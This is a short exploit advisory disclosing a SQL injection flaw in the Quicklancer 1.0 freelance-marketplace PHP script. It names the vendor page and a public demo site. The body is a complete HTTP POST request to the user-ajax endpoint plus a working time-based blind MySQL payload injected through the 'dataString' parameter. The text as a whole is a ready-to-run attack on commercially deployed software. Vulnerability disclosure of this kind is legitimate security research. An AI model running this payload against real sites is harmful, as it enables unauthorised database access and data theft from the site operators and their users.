Quicklancer 1.0 SQL Injection

# Exploit Title: Quicklancer v1.0 - SQL Injection# Date: 2023-05-17# Exploit Author: Ahmet Ümit BAYRAM# Vendor:https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135# Demo Site: https://quicklancer.bylancer.com# Tested on: Kali Linux# CVE: N/A### Request ###POST /php/user-ajax.php HTTP/1.1Content-Type: application/x-www-form-urlencodedAccept: */*x-requested-with: XMLHttpRequestReferer: https://localhostCookie: sec_session_id=12bcd985abfc52d90489a6b5fd8219b2;quickjob_view_counted=31; Quick_lang=arabicContent-Length: 93Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: localhostConnection: Keep-aliveaction=searchStateCountry&dataString=deneme### Parameter & Payloads ###Parameter: dataString (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: action=searchStateCountry&dataString=deneme' AND (SELECT 8068FROM (SELECT(SLEEP(5)))qUdx) AND 'nbTo'='nbTo